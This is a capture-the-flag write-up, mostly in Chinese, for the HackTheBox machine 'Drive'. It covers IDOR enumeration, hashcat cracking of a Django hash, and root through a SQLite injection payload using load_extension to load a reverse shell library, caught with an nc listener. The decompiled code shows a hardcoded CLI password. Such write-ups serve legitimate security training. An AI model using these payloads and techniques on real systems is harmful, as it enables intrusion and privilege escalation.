Drive

64

Machine:Linux

Level:Hard

Nmap

└─# nmap -p- 10.10.11.235     
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-17 10:25 GMT
Nmap scan report for 10.10.11.235
Host is up (0.23s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
3000/tcp filtered ppp

User Access

IDOR → martin

​ 页面中只有UploadFile、Dashboard和ContactUs能访问,其他的都无法访问。UploadFile和ContactUs都没有特殊的应用,但在Dashboard中,访问第一个文件和第二个文件发现两个文件的ID并不相连,这里存在IDOR漏洞。

​ 当访问/101/getFileDetail/时发现返回status:"unauthorized"提示我们未授权,对目录爆破发现/101/block/可以浏览访问的。 利用BP进行爆破ID得到下面的信息。

hey team after the great success of the platform we need now to continue the work.
on the new features for ours platform.
I have created a user for martin on the server to make the workflow easier for you please use the password "[deleted]".
please make the necessary changes to the code before the end of the month
I will reach you soon with the token to apply your changes on the repo
thanks! 

hi team
have a great day.
we are testing the new edit functionality!
it seems to work great!

hi team
please we have to stop using the document platform for the chat
+I have fixed the security issues in the middleware
thanks! :) 

Welcome to Doodle Grive files sharing platform!
thank you for using our platform
if you have and questions don't be affraid to contact us using the contact-us page!
have fun! ;) 

hi team!
me and my friend(Cris) created a new scheduled backup plan for the database
the database will be automatically highly compressed and copied to /var/www/backups/ by a small bash script every day at 12:00 AM
*Note: the backup directory may change in the future!
*Note2: the backup would be protected with strong password! don't even think to crack it guys! :) 

martin → tom

martin@drive:/home$ ls
cris  git  martin  tom

​ 我们发现有额外的账户但都无法访问,在上面的信息中提示我们/var/www/backups/存有备份数据,有五张数据库但其中四张需要密码解密压缩包,在db_backup.sh可以找到压缩包解压密码。

martin@drive:~/DoodleGrive$ cat db_backup.sh
#!/bin/bash
DB=$1
date_str=$(date +'%d_%b')
7z a -p'[deleted]' /var/www/backups/1_Dec_db_backup.sqlite3.7z db.sqlite3
cd /var/www/backups/
ls -l --sort=t *.7z > backups_num.tmp
backups_num=$(cat backups_num.tmp | wc -l)
if [[ $backups_num -gt 10 ]]; then
      #backups is more than 10... deleting to oldest backup
      rm $(ls  *.7z --sort=t --color=never | tail -1)
      #oldest backup deleted successfully!
fi
rm backups_num.tmp

​ 把数据库拉取下来在本地查看发现同一用户每个表中的密码是不同的,加密格式hashcat中查询为为Django (SHA-1)和Django (PBKDF2-SHA256),爆破五个表发现tom的密码是可以爆破的。

└─# hashcat -m 124 hash.txt /usr/share/wordlists/rockyou.txt
......
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 0 secs

sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b252...69525a:[deleted]

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 124 (Django (SHA-1))
Hash.Target......: sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b252...69525a
Time.Started.....: Fri Oct 20 06:17:10 2023 (1 sec)
Time.Estimated...: Fri Oct 20 06:17:11 2023 (0 secs)                                                           ......

Root Access

​ 在tom文件下有个doodleGrive-cli的可执行文件将文件下载拖入ida分析一下,这里我们知道了账密便可以进一步使用程序,进入main_menu();函数看一看。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ......
  puts("[!]Caution this tool still in the development phase...please report any issue to the development team[!]");
  puts("Enter Username:");
  fgets(v12, 16LL, stdin);
  sanitize_string(v12);
  printf((unsigned int)"Enter password for ", 16, v3, v4, v5, v6, v12[0]);
  printf((unsigned int)v12, 16, v7, v8, v9, v10, v12[0]);
  puts(":");
  fgets(v13, 400LL, stdin);
  sanitize_string(v13);
  if ( (unsigned int)j_strcmp_ifunc(v12, "moriarty") || (unsigned int)j_strcmp_ifunc(v13, "findMeIfY0uC@nMr.Holmz!") )
  {
    puts("Invalid username or password.");
  }
  else
  {
    puts("Welcome...!");
    main_menu();
  }
  return 0;
}

void __fastcall main_menu(__int64 a1, int a2)
{
  ......
  v8 = __readfsqword(0x28u);
  fflush(stdin);
  while ( 1 )
  {
    putchar(10LL);
    puts("doodleGrive cli beta-2.2: ");
    puts("1. Show users list and info");
    puts("2. Show groups list");
    puts("3. Check server health and status");
    puts("4. Show server requests log (last 1000 request)");
    puts("5. activate user account");
    puts("6. Exit");
    printf((unsigned int)"Select option: ", a2, v2, v3, v4, v5, v7[0]);
    a2 = 10;
    fgets(v7, 10LL, stdin);
    v6 = v7[0] - 49;
    if ( v6 <= 5 )
      break;
    puts("please Select a valid option...");
  }
  __asm { jmp     rax }
}

​ 通过对选项5的代码审计发现存在着该地方存在着sql注入,我们将语句先闭合然后引用我们恶意构造的文件,具体的操作可以参考这篇文章

unsigned __int64 __fastcall activate_user_account(__int64 a1, int a2, int a3, int a4, int a5, int a6)
{
  ......
  v15 = __readfsqword(0x28u);
  printf((unsigned int)"Enter username to activate account: ", a2, a3, a4, a5, a6, v13[0]);
  fgets(v13, 40LL, stdin);
  v13[j_strcspn_ifunc(v13, "\n")] = 0;
  if ( v13[0] )
  {
    sanitize_string(v13);
    snprintf(
      (unsigned int)v14,
      250,
      (unsigned int)"/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line 'UPDATE accounts_customuser SET is_active=1 W"
                    "HERE username=\"%s\";'",
      (unsigned int)v13,
      v6,
      v7,
      v13[0]);
    printf((unsigned int)"Activating account for user '%s'...\n", (unsigned int)v13, v8, v9, v10, v11, v13[0]);
    system(v14);
  }
  else
  {
    puts("Error: Username cannot be empty.");
  }
  return __readfsqword(0x28u) ^ v15;
}

​ 制作好反向shell之后将文件上传至与doodleGrive-cli同一级目录下,同时在本机监听端口。这里的char中的字符只需要填写.so前的路径和名称,由于这里字数长度有限制,所以名字要短。

tom@drive:~$ ./doodleGrive-cli 
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
[deleted]
Enter password for moriarty:
[deleted]
Welcome...!

doodleGrive cli beta-2.2: 
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: 5
Enter username to activate account: "+load_extension(char(46,47,101))--;"
Activating account for user '"+load_extension(char(46,47,101))--"'...

​ 本机监听端口

└─# nc -lnvp 1234          
listening on [any] 1234 ...
connect to [10.10.14.50] from (UNKNOWN) [10.10.11.235] 38478
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1003(tom)

sqlite运行时加载拓展:https://sqlite.org/loadext.html